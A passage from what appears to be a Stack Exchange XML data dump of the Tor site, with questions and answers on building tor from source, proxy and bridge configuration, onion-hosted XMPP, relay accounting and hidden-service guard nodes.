5&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Prepare &lt;code&gt;tor&lt;/code&gt; to be built, you can use any of the following commands (Option 1 or Option 2), but check if you receive any error messages:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Option 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;./configure&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;./configure --disable-asciidoc  # do not build manpages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 6&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Run &lt;code&gt;make&lt;/code&gt; to start the compilation process:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 7&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Install the compiled &lt;code&gt;tor&lt;/code&gt; in your system:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;make install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The location of &lt;code&gt;tor&lt;/code&gt; binary by default will be:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/usr/local/bin/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can run it by typing &lt;code&gt;tor&lt;/code&gt; and the output will be pretty similar to this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;galoget@hackem:~$ tor&#xA;Jul 12 12:46:26.082 [notice] Tor 0.4.7.0-alpha-dev (git-9b2d179d9537b2f3) running on Linux with Libevent 2.1.11-stable, OpenSSL 1.1.1f, Zlib 1.2.11, Liblzma N/A, Libzstd N/A&#xA; and Glibc 2.31 as libc.&#xA;Jul 12 12:46:26.082 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jul 12 12:46:26.082 [notice] This version is not a stable Tor release. Expect more bugs than usual.&#xA;Jul 12 12:46:26.082 [notice] Configuration file &amp;quot;/usr/local/etc/tor/torrc&amp;quot; not present, using reasonable defaults.&#xA;Jul 12 12:46:26.084 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Jul 12 12:46:26.084 [notice] Opened Socks listener connection (ready) on 127.0.0.1:9050&#xA;Jul 12 12:46:26.000 [notice] Parsing GEOIP IPv4 file /usr/local/share/tor/geoip.&#xA;Jul 12 12:46:26.000 [notice] Parsing GEOIP IPv6 file /usr/local/share/tor/geoip6.&#xA;Jul 12 12:46:26.000 [notice] Bootstrapped 0% (starting): Starting&#xA;Jul 12 12:46:26.000 [notice] Starting with guard context &amp;quot;default&amp;quot;&#xA;Jul 12 12:46:27.000 [notice] Bootstrapped 5% (conn): Connecting to a relay&#xA;Jul 12 12:46:27.000 [notice] Bootstrapped 10% (conn_done): Connected to a relay&#xA;Jul 12 12:46:27.000 [notice] Bootstrapped 14% (handshake): Handshaking with a relay&#xA;Jul 12 12:46:27.000 [notice] Bootstrapped 15% (handshake_done): Handshake with a relay done&#xA;Jul 12 12:46:27.000 [notice] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits&#xA;Jul 12 12:46:27.000 [notice] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits&#xA;Jul 12 12:46:27.000 [notice] Bootstrapped 95% (circuit_create): Establishing a Tor circuit&#xA;Jul 12 12:46:28.000 [notice] Bootstrapped 100% (done): Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And remember, this version is not a stable Tor release, so it could have more bugs than usual.&lt;/p&gt;&#xA;&lt;p&gt;In this guide I showed you how to build &lt;code&gt;tor&lt;/code&gt; from source code. This does not include Tor Browser, just the service that is listening at &lt;code&gt;127.0.0.1:9050&lt;/code&gt; by default.&lt;/p&gt;&#xA;&lt;p&gt;In case you want to try it, you can configure your browser to use a proxy. Please refer to the following image to prepare your Firefox instance to browse the Internet by using the Tor service you just installed:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sC7G3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sC7G3.png&quot; alt=&quot;How to configure Mozilla Firefox to use Tor&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, if you prefer Google Chrome, you can use the following command to open a Chrome instance that uses the &lt;code&gt;tor&lt;/code&gt; service you just installed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;google-chrome-stable --proxy-server=&amp;quot;socks://127.0.0.1:9050&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you can see in my answer, there is no requeriment to use additional plugins to route your traffic through the TOR Network.&lt;/p&gt;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;" OwnerUserId="20534" LastActivityDate="2021-07-12T13:01:40.997" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22513" PostTypeId="1" CreationDate="2021-07-12T19:57:24.393" Score="0" ViewCount="53" Body="&lt;p&gt;Some onion websites, like facebook, have TLS implemented on top of Tor. Is it possible to fetch the certificates and TLS versions of these connections using something like torpy?&lt;/p&gt;&#xA;" OwnerUserId="32856" LastActivityDate="2021-12-17T00:02:30.223" Title="API to get Tor SSL certificates" Tags="|connection|protocol|ssl|certificate|tls|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22514" PostTypeId="2" ParentId="19963" CreationDate="2021-07-12T20:28:22.663" Score="1" Body="&lt;p&gt;Maybe try &lt;a href=&quot;https://www.hcaptcha.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hCaptcha&lt;/a&gt;.&#xA;It's an alternative to Google's ReCaptcha.&lt;/p&gt;&#xA;&lt;p&gt;From their website: &amp;quot;It is the most popular reCAPTCHA alternative&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="32857" LastActivityDate="2021-07-12T20:28:22.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22515" PostTypeId="1" CreationDate="2021-07-13T03:35:12.937" Score="0" ViewCount="1205" Body="&lt;p&gt;I set up the XMPP Prosody server in conjunction with the onion domain, it works fine with v2 domains, but when I trying to configure it with onion v3, it does not connect. Everything is clear in prosody logs, there are no errors, but the jabber client simply does not connect.&#xA;For v2, I used this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt install tor prosody&#xA;printf &amp;quot;HiddenServiceDir /var/lib/tor/jabber\nHiddenServicePort 5222 127.0.0.1:5222\nHiddenServicePort 5322 127.0.0.1:5322\nHiddenServicePort 5269 127.0.0.1:5269\n&amp;quot; | sudo tee /etc/tor/torrc&#xA;sudo service tor restart&#xA;sudo nano /etc/prosody/prosody.cfg.lua //configuing host&#xA;sudo openssl req -new -x509 -days 365 -nodes -out &amp;quot;/etc/prosody/certs/host.crt&amp;quot; -newkey rsa:2048 -keyout &amp;quot;/etc/prosody/certs/host.key&amp;quot;&#xA;sudo service prosody restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;after that just adding users and it works fine.&#xA;On client (pidgin) i set SOCKS5, port 9050&#xA;OS ubuntu 16.04, I also tried it on 18 and 20, the result is the same.&#xA;What could be the problem and in what direction should you look for a solution?&lt;/p&gt;&#xA;" OwnerUserId="32859" LastActivityDate="2022-04-10T02:02:20.207" Title="Prosody XMPP server with onion domain" Tags="|onion-routing|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22516" PostTypeId="2" ParentId="22515" CreationDate="2021-07-13T12:06:06.127" Score="0" Body="&lt;p&gt;The problem is solved, it was necessary to update the Tor service from the torproject.org repository on the client computers.&lt;/p&gt;&#xA;" OwnerUserId="32860" LastEditorUserId="31632" LastEditDate="2021-07-13T23:45:57.180" LastActivityDate="2021-07-13T23:45:57.180" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22520" PostTypeId="1" AcceptedAnswerId="22522" CreationDate="2021-07-14T17:41:14.723" Score="2" ViewCount="310" Body="&lt;p&gt;I've been trying to connect to the Tor Network from home, but my country's ISP has blocked all of the Tor Directory Authorities' IPs. No luck reaching them so far. I know, there are bridges, but seems like they are blocking them too, since I've got a bridge via email, yet still wasn't able to connect.&lt;/p&gt;&#xA;&lt;p&gt;I know of one thing still, which is unblockable: proxy servers. There is just too many of them, so they cannot block them.&lt;/p&gt;&#xA;&lt;p&gt;I've gathered some proxy servers and now I'm trying to connect to the Directory Authority through them. One thing I don't know: what protocol of messaging is used, when connecting to them?&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I connect to the proxy. Now all HTTP traffic I send to them is relayed to a target host.&lt;/li&gt;&#xA;&lt;li&gt;Through the proxy I send an HTTP &lt;code&gt;CONNECT&lt;/code&gt; request to Directory Authority's &lt;code&gt;IP:PORT&lt;/code&gt;. Looks like this: &lt;code&gt;CONNECT 154.35.175.225:80 HTTP/1.1\r\n&lt;/code&gt; (this is &lt;code&gt;IP:PORT&lt;/code&gt; of &lt;strong&gt;Faravahar&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;li&gt;In response I get an empty response.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Is it right? Is the protocol I'm trying to use applicable to the host? How can I receive the information needed to create a circuit? Or maybe I'm mistaken that I need to connect to the Directory Authority?&lt;/p&gt;&#xA;" OwnerUserId="31904" LastEditorUserId="31904" LastEditDate="2021-09-05T22:16:14.347" LastActivityDate="2021-09-05T22:16:14.347" Title="Connecting to Tor Directory Authority via Proxy Server (Protocol Question)" Tags="|proxy|directory|https|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22522" PostTypeId="2" ParentId="22520" CreationDate="2021-07-16T04:09:49.230" Score="2" Body="&lt;p&gt;Tor processes (client proxies, relays, bridges, etc) do not communicate over HTTP. They use a custom link protocol within a TLS connection. You &lt;em&gt;must&lt;/em&gt; use a tor proxy (or generally, a proxy that speaks Tor's protocol) to access the network. If you really wanted to use an HTTP proxy, you could try using the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#HTTPSProxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;HTTPSProxy&lt;/code&gt; torrc option&lt;/a&gt;, which routes all of the tor proxy's connections through this HTTP proxy. This requires an HTTP proxy that supports &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/CONNECT&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTP CONNECT&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The IP address &lt;code&gt;154.35.175.225&lt;/code&gt; is not the address of gabelmoo; you're trying to connect to a different relay (Faravahar).&lt;/p&gt;&#xA;&lt;p&gt;Most relays and authorities have a &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;directory port&lt;/a&gt; enabled, which allows you to download directory documents over HTTP. For example, you can download &lt;a href=&quot;https://metrics.torproject.org/rs.html#details/F2044413DAC2E02E3D6BCF4735A19BCA1DE97281&quot; rel=&quot;nofollow noreferrer&quot;&gt;gabelmoo&lt;/a&gt;'s server descriptor using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl 131.188.40.189/tor/server/authority&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But you cannot use this port to access the Tor network as a client.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-07-16T04:09:49.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22523" PostTypeId="1" CreationDate="2021-07-18T08:53:31.473" Score="2" ViewCount="68" Body="&lt;p&gt;I'm using Tor for localhost SOCKS proxy and I want to provide Tor non-exit node using same torrc file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 443&#xA;Exitpolicy reject *:*&#xA;Nickname ieditedtheconfig&#xA;ContactInfo human@...&#xA;AccountingStart day 0:00&#xA;AccountingMax 512 MBytes&#xA;RelayBandwidthRate 5120 KBytes&#xA;RelayBandwidthBurst 10240 KBytes&#xA;SocksPort 127.0.0.1:9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I read the manual correctly, above config will make Tor into hibernation state after it reached AccountingMax.&lt;/p&gt;&#xA;&lt;p&gt;Question:&#xA;So that means I can't use localhost:9050 for SOCKS proxy at all?&#xA;Can I use my Tor Socks proxy while providing limited Tor node?&lt;/p&gt;&#xA;&lt;p&gt;There is no online docs clearly explains it.&lt;/p&gt;&#xA;" OwnerUserId="32891" LastEditorUserId="24966" LastEditDate="2021-07-20T05:35:30.810" LastActivityDate="2022-03-12T17:05:20.560" Title="Can I provide Tor non-exit node while using same Tor as SOCKS proxy?" Tags="|configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22524" PostTypeId="1" AcceptedAnswerId="23900" CreationDate="2021-07-18T12:00:29.913" Score="4" ViewCount="615" Body="&lt;h2 id=&quot;context-xdz6&quot;&gt;Context&lt;/h2&gt;&#xA;&lt;p&gt;When I try to install tor without sudo, using &lt;code&gt;apt install tor&lt;/code&gt; Ubuntu 20.04 returns:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;E: Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permission denied)&#xA;E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I install it with &lt;code&gt;sudo apt install tor&lt;/code&gt; it works.&lt;/p&gt;&#xA;&lt;p&gt;When I try to run it without sudo, using &lt;code&gt;tor start&lt;/code&gt;, it returns:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[warn] Command-line option 'start' with no value. Failing.&#xA;[err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I run it with sudo, using &lt;code&gt;sudo tor start&lt;/code&gt;, it works and returns:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[warn] You are running Tor as root. You don't need to, and you probably shouldn't.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&quot;question-nmf2&quot;&gt;Question&lt;/h2&gt;&#xA;&lt;p&gt;How can I ensure I am able to run tor without &lt;code&gt;sudo&lt;/code&gt;? I think I should add permissions of the user-account to some group for tor, but I did not yet exactly find out how.&lt;/p&gt;&#xA;" OwnerUserId="32892" LastActivityDate="2023-12-11T13:18:58.090" Title="Running tor without sudo on Ubuntu?" Tags="|tor-install|error|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22525" PostTypeId="2" ParentId="12424" CreationDate="2021-07-18T12:06:14.183" Score="0" Body="&lt;p&gt;In case you have started tor in another shell/job/somewhere on your device and forgot about it, and you simply want to kill all tor processes, (such that you can start your tor service again) you can run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo killall tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, it would be better to use the command by PSN and then inspect which service is running on that port and to kill only that process instead of all tor processes. I currently don't have the command to only kill that particular process.&lt;/p&gt;&#xA;&lt;p&gt;Note it could also be another process, like hosting a website, docker whatever, that is running on &lt;code&gt;127.0.0.1:9050&lt;/code&gt;. In that case the &lt;code&gt;killall tor&lt;/code&gt; won't help because the other process is not a tor process so it won't be killed. That is why the method by PSN is better, it just lacks the stop command.&lt;/p&gt;&#xA;" OwnerUserId="32892" LastActivityDate="2021-07-18T12:06:14.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22527" PostTypeId="2" ParentId="21703" CreationDate="2021-07-19T06:05:45.020" Score="2" Body="&lt;p&gt;&lt;strong&gt;You can safely disregard the message:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;All this message means is that the automatic updates feature of Tor Browser has been disabled. This is done intentionally in Tails to make sure that no security feature or configuration gets broken by automatic updates of Tor Browser.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://tails.boum.org/doc/anonymous_internet/Tor_Browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2021-07-19T06:05:45.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22528" PostTypeId="2" ParentId="21363" CreationDate="2021-07-19T20:37:09.177" Score="0" Body="&lt;p&gt;Just provision of the country-based filtering, nothing more. As usual, actually - it's not Tor-specific and that's what the GeoIP for. A hint for you: you can purchase the paid subscription from MaxMind for GeoIP and try to feed these files to Tor - and the accuracy improves greatly&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-19T20:37:09.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22529" PostTypeId="2" ParentId="21703" CreationDate="2021-07-19T20:39:10.063" Score="0" Body="&lt;p&gt;No, you're fine: it's because Tails is still too immature to do things properly that even a Tor browser is too tough for them. If you want a full protection - use QubesOS&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-19T20:39:10.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22530" PostTypeId="2" ParentId="22524" CreationDate="2021-07-19T20:43:28.707" Score="1" Body="&lt;p&gt;It's a normal error: the &lt;code&gt;dpkg&lt;/code&gt; needs to obtain a &lt;strong&gt;global&lt;/strong&gt; and &lt;strong&gt;system-wide&lt;/strong&gt; lock to be sure that no installation process will mess one another, so they will be done in a serial way being run one by one. It's also true for any mainstream package manager like &lt;code&gt;yum&lt;/code&gt;, &lt;code&gt;rpm&lt;/code&gt; et cetera. It's OK to do a &lt;code&gt;sudo&lt;/code&gt; for install: the installation script will create a separate isolated user for Tor and the config will drop the privileges just to it, so it's not a security hole at all&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-19T20:43:28.707" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22531" PostTypeId="2" ParentId="21338" CreationDate="2021-07-19T21:03:42.293" Score="0" Body="&lt;p&gt;Tor has a built-in HTTP&lt;strong&gt;S&lt;/strong&gt; proxy for a long time, in old times it was a package converting the requests to SOCKS named &lt;a href=&quot;https://www.irif.fr/%7Ejch/software/polipo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;polipo&lt;/code&gt;&lt;/a&gt;. Actually - &lt;em&gt;just&lt;/em&gt; for your case it's still actual, because it will give you a HTTP proxy you asking for. Don't be afraid that it's no longer maintained: it's finished, no bugs found and it's 100% done. Try it! And there's nothing bad at all to have a HTTP, not HTTPS proxy - it's fine!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-19T21:03:42.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22532" PostTypeId="2" ParentId="22508" CreationDate="2021-07-19T22:20:38.590" Score="1" Body="&lt;p&gt;The reason here is obvious: your OS &lt;strong&gt;did&lt;/strong&gt; the window resize &amp;quot;to fit on screen&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-19T22:20:38.590" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22533" PostTypeId="2" ParentId="22513" CreationDate="2021-07-19T22:22:19.223" Score="0" Body="&lt;p&gt;cURL &lt;a href=&quot;https://curl.haxx.se&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://curl.haxx.se&lt;/a&gt; + OpenSSL CLI, you need nothing more to perform your task&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-19T22:22:19.223" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22534" PostTypeId="2" ParentId="21645" CreationDate="2021-07-19T22:24:54.390" Score="0" Body="&lt;p&gt;If the video hosting is inside the Tor network, i.e. via dot-onion address - it's totally OK and suffers no performance implication if the server is set up as it should be. Take a look at IPFS and ZeroNet - it can also help. The only &lt;em&gt;possible&lt;/em&gt; problem can be a live video stream, so as in a clearnet Internet&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-19T22:24:54.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22536" PostTypeId="1" AcceptedAnswerId="22537" CreationDate="2021-07-21T06:31:40.670" Score="0" ViewCount="1324" Body="&lt;p&gt;I've downloaded TOR expert bundle from an archive from &lt;a href=&quot;https://dist.torproject.org/torbrowser/10.5.2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this directory&lt;/a&gt; (&lt;a href=&quot;https://dist.torproject.org/torbrowser/10.5.2/tor-win32-0.4.5.9.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;exact download link I used&lt;/a&gt;). When I run the &lt;code&gt;tor.exe&lt;/code&gt;, this is what I get in &lt;code&gt;cmd&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Jul 21 09:11:11.941 [notice] Tor 0.4.5.9 (git-d0ed04d50e80fe1c) running on Windows 8 [or later] with Libevent 2.1.12-stable, OpenSSL 1.1.1k, Zlib 1.2.11, Liblzma N/A, Libzstd N/A and Unknown N/A as libc.&#xA;Jul 21 09:11:11.941 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jul 21 09:11:11.954 [notice] Configuration file &amp;quot;&amp;lt;...&amp;gt;&amp;quot; not present, using reasonable defaults.&#xA;Jul 21 09:11:11.956 [warn] Path for GeoIPFile (&amp;lt;default&amp;gt;) is relative and will resolve to &amp;lt;...&amp;gt;. Is this what you wanted?&#xA;Jul 21 09:11:11.956 [warn] Path for GeoIPv6File (&amp;lt;default&amp;gt;) is relative and will resolve to &amp;lt;...&amp;gt;. Is this what you wanted?&#xA;Jul 21 09:11:11.957 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Jul 21 09:11:11.958 [notice] Opened Socks listener connection (ready) on 127.0.0.1:9050&#xA;Jul 21 09:11:11.000 [notice] Bootstrapped 0% (starting): Starting&#xA;Jul 21 09:11:11.000 [notice] Starting with guard context &amp;quot;default&amp;quot;&#xA;Jul 21 09:11:12.000 [notice] Bootstrapped 5% (conn): Connecting to a relay&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The executable seems to work fine, but I cannot connect to TOR relay due to my country's restrictions. It gets stuck on &lt;code&gt;5%&lt;/code&gt; forever. I suppose, I could use a proxy server to connect to a relay, yet I don't know which command I should use.&lt;/p&gt;&#xA;&lt;p&gt;Where can I find a list of TOR startup commands I could use to configure the client?&lt;/p&gt;&#xA;&lt;p&gt;Since I can see a couple of problems here, for example&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Jul 21 09:11:11.956 [warn] Path for GeoIPFile (&amp;lt;default&amp;gt;) is relative and will resolve to &amp;lt;...&amp;gt;. Is this what you wanted?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;since it's actually not what I wanted, because it doesn't specify the correct location by default.&lt;/p&gt;&#xA;&lt;p&gt;What I mean by commands is, take for example the &lt;code&gt;Google Chrome&lt;/code&gt; browser (or anything &lt;code&gt;Chromium&lt;/code&gt;-based). We could use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;chrome.exe --profile-directory=&amp;quot;Profile X&amp;quot; --headless --disable-gpu --window-size 322,322&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to start &lt;code&gt;Google Chrome&lt;/code&gt; session with such and such profile, run it headless with window size &lt;code&gt;322&lt;/code&gt; by &lt;code&gt;322&lt;/code&gt; and so on.&lt;/p&gt;&#xA;&lt;p&gt;What I'd like to do is basically:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tor.exe --proxy &amp;quot;&amp;lt;protocol&amp;gt;://&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;&amp;quot; --geoipfile-path &amp;quot;&amp;lt;path-to-geoipfile&amp;gt;&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31904" LastActivityDate="2021-07-21T06:53:14.390" Title="Is this possible to provide command line arguments for TOR Expert Bundle?" Tags="|windows|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22537" PostTypeId="2" ParentId="22536" CreationDate="2021-07-21T06:53:14.390" Score="0" Body="&lt;p&gt;Used &lt;code&gt;tor.exe --help&lt;/code&gt;, which said to &lt;code&gt;See man page for options&lt;/code&gt;, where &lt;code&gt;man&lt;/code&gt; meant short for &lt;strong&gt;manual&lt;/strong&gt;, lol. Google helped me out, I've found the link:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm using TOR's &lt;code&gt;stem&lt;/code&gt; for &lt;code&gt;python&lt;/code&gt;, so what I ended up with is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tor_process = launch_tor_with_config(&#xA;    tor_cmd=&amp;quot;tor.exe&amp;quot;,&#xA;    config={&#xA;        &amp;quot;HTTPSProxy&amp;quot;: &amp;quot;&amp;lt;proxy_host&amp;gt;:&amp;lt;proxy_port&amp;gt;&amp;quot;&#xA;    }&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can also use &lt;code&gt;socks4&lt;/code&gt; and &lt;code&gt;socks5&lt;/code&gt; proxies, too. &lt;code&gt;config={&amp;quot;Socks4Proxy&amp;quot;: &amp;quot;&amp;lt;proxy_host&amp;gt;:&amp;lt;proxy_port&amp;gt;&amp;quot;}&lt;/code&gt; and &lt;code&gt;config={&amp;quot;Socks5Proxy&amp;quot;: &amp;quot;&amp;lt;proxy_host&amp;gt;:&amp;lt;proxy_port&amp;gt;&amp;quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Still don't know how to use it from command line, though.&lt;/p&gt;&#xA;" OwnerUserId="31904" LastActivityDate="2021-07-21T06:53:14.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22538" PostTypeId="2" ParentId="22503" CreationDate="2021-07-21T17:02:48.420" Score="3" Body="&lt;p&gt;It's a bug that will be fixed soon, see: &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40506&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40506&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32874" LastActivityDate="2021-07-21T17:02:48.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22539" PostTypeId="1" AcceptedAnswerId="22552" CreationDate="2021-07-22T11:31:48.100" Score="3" ViewCount="934" Body="&lt;p&gt;I want to use obfs4 proxy to connect tor through it. It is not a Tor Browser.&#xA;I know that Tor Browser provides options to use built-in bridges or request them online, but to use it in tor daemon I need to manually request them from &lt;code&gt;bridges.torproject.org&lt;/code&gt; and copy them to &lt;code&gt;/etc/tor/torrc&lt;/code&gt;. Maybe tor daemon has a built-in bridges? Or script to request them automatically? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="32917" LastActivityDate="2021-07-28T18:08:16.700" Title="Is it possible to use built-in bridges or automatically request them for the tor daemon in Linux? (Not Tor Browser)" Tags="|configuration|bridge|obfsproxy|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22540" PostTypeId="1" CreationDate="2021-07-23T12:39:35.787" Score="0" ViewCount="264" Body="&lt;p&gt;If someone hosts a hidden-service, then the hidden-service obviously knows its guard-node. I would guess the guard-node knows that it is the guard-node of the tor-application which is used by the hidden-service. (Even if the guard-node may probably not definitely know that there is a hidden service running on, correct?)&lt;/p&gt;&#xA;&lt;p&gt;Now my basic question is: Can anyone else determine which guard-node the hidden-service (currently) uses or not?&lt;/p&gt;&#xA;" OwnerUserId="20859" LastActivityDate="2022-01-10T10:03:35.400" Title="Who can determine the guard-node of a hidden-service?" Tags="|onion-services|guard-node|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
